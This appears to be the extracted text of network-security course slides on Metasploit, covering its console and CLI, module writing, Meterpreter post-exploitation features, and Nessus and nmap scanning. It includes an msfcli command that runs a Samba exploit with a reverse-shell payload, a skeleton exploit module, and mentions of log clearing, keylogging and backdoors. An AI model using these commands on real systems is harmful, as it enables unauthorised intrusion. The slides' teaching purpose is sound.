EECS 354 Network Security Metasploit Features

Hacking on the Internet Vulnerabilities are always being discovered 0day vulnerabilities Every server or home computer connected to the Internet is a potential victim Exploit trust in third party software Openssl, Apache, IE, VMWare, MySQL, etc Commonly used and trusted by popular applications Run on known port numbers

Hacking on the Internet Finding vulnerable targets Most commonly found on search engines (i.e. Google) Crafted searches Embedded devices are also a target “Internet of Things” Home routers are a hot topic

Vulnerability Types Arbitrary Code Execution Most serious Essentially exposes a shell to the Internet Privilege Escalation Often leads to root privilege (i.e. total control) Total information leakage, total control of server processes

Vulnerability Types Other information leakage Can be serious (i.e. Heartbleed) Source code Sensitive user data Denial of Service Causing an application or server to run slowly Causing a application or server to crash

Introduction Metasploit is an automated exploitation framework Open source, continuous development and updates Tools for scanning, exploit development, exploitation, and post-exploitation Extensible through plugins and modules

Metasploit Architecture

Metasploit Basic Usage Writing a Metasploit Module Metasploit Special Features Scanning Basics

Msfconsole Most feature-full interface for Metasploit is msfconsole Like a shell, just for Metasploit In addition to special Metasploit commands, also accepts bash commands ping, ls, curl, etc

Common Commands connect like netcat, connects to host on specified port search search module database, by name, platform, app, cve, and more sessions List or manipulate your open sessions (shells, VNC, etc) show Show anything: show modules, exploits, payloads, options (for selected module)

Basic Usage Using a module: (Optional) If your module is not loaded, load it with loadpath (Optional) If you don’t know the name, search for it with search Select your module with use Fill parameters using set (show parameters with show options) Run with exploit Reload and run with rexploit

Metasploit CLI Sometimes you’d rather not load up the whole console just to run a single script Use msfcli to interact with Metasploit from the command-line

Metasploit CLI msfcli -h Usage: /opt/metasploit/msf3/msfcli [mode] ============================================================= ======= ModeDescription (A)dvancedShow available advanced options for this module (AC)tions Show available actions for this auxiliary module (C)heck Run the check routine of the selected module (E)xecute Execute the selected module (H)elp You're looking at it baby! (I)DS Evasion Show available ids evasion options for this module (O)ptions Show available options for this module (P)ayloads Show available payloads for this module (S)ummary Show information about this module (T)argets Show available targets for this exploit module

Metasploit CLI Example usage: msfcli exploit/multi/samba/usermap_script \ RHOST= PAYLOAD=cmd/unix/reverse \ LHOST= E : path to ruby script RHOST: remote host PAYLOAD: shellcode for reverse shell LHOST: local host E: execute

Metasploit Basic Usage Writing a Metasploit Module Metasploit Special Features Scanning Basics

Writing Modules Auxiliary Defines a function called run Can do simple tasks: fuzzing, scanning, sniffing, bruteforcing logins Exploit Defines a function called exploit Requires a payload (shellcode) Most basic form Connect to remote host Send payload Run handler (sets up reverse shell connection) Disconnect

Writing Modules require 'msf/core‘ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) # set target and payload characteristics, etc end def exploit connect sock.put(payload.encoded) handler disconnect end

Sidenote for Project 4 Project 4 requires writing brute force exploits Metasploit provides the brute mix-in include Exploit::Brute Module overrides the exploit method to call brute_exploit for each step within an address range Start, stop, step, and (optional) delay are defined in target.bruteforce Step of 0 will be automatically resolved to the size of the payload’s nop sled

Metasploit Basic Usage Writing a Metasploit Module Metasploit Special Features Scanning Basics

Post-Exploitation Tools Most post-exploitation tools rely on a meterpreter shell Meterpreter is a payload that can be selected with many exploits A meterpreter shell provides a consistent cross-platform post-exploitation interface Also acts as an in-memory stager for loading additional exploit code remotely

Meterpreter Basics Provides basic UNIX interface: ls, cat, cd, pwd, getuid, ps Also some convenience features search: convenient file system searching migrate: migrate control to another running process clearev: clears logs (Windows only) upload, download webcam_list, webcam_snap

More Meterpreter Features Persistent backdoors with metsvc John the Ripper integration Remote packet sniffing Keylogging Kill off antivirus Dump system information Pretty much anything you can think of Or you can write your own scripts, too

Metasploit Databases Very powerful db_* commands Databases are often used to store hosts, ports, services, credentials, etc Can be populated directly from scan results db_autopwn –p –e Somewhat controversial command Will attempt to execute all known exploits on all known hosts on the known open and specified ports Very “noisy”

Scanner Integration Integration with nmap and Nessus Can select to send scan results directly to database for exploitation Hosts, ports, services, machine info Simple interface using msfconsole nmap or db_nmap load nessus Or, ‘search portscan’ for auxiliary modules

Metasploit Basic Usage Writing a Metasploit Module Metasploit Special Features Scanning Basics

Nessus State-of-the-art scanning tool Web interface for designing scans Can set ‘policies’ to get quicker scans Or, just scan everything and find all services Associates results with CVE, other references for easy translation to exploitation

Nessus

Results are listed by priority Low -> Critical Critical vulnerabilities usually can lead to root shell on a remote machine Medium-High may mean lower privilege or limited commands Ex: default credentials for account user:user

TCP Scanning TCP SYN scan Most common Never opens a full connection, only sends a single packet Returns port state Open: received SYNACK Filtered: no response (firewalled) Closed: received RST Other TCP scans: FIN, Null, Xmas connect ACK

UDP Scanning UDP scans send an arbitrary (or empty) UDP packet, or a crafted packet for specific ports (like DNS) Open/filtered will timeout Closed will send ICMP unreachable These responses are often rate limited, making UDP scans very slow in general

OS Detection and more Scanners can use OS fingerprinting to detect an OS based on response characteristics Scanners also attempt service identification Services normally run on specified ports Services can be ‘interrogated’ Sending crafted packets and anticipating particular responses for particular services